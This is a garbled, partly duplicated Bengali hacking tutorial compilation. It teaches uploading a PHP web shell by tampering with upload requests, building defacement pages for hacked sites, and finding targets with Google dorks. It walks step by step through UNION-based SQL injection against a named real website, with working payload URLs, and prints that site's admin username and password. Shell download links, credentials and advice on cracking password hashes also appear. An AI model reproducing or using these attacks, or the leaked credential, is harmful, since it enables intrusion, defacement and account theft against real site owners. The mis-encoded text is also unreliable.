অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
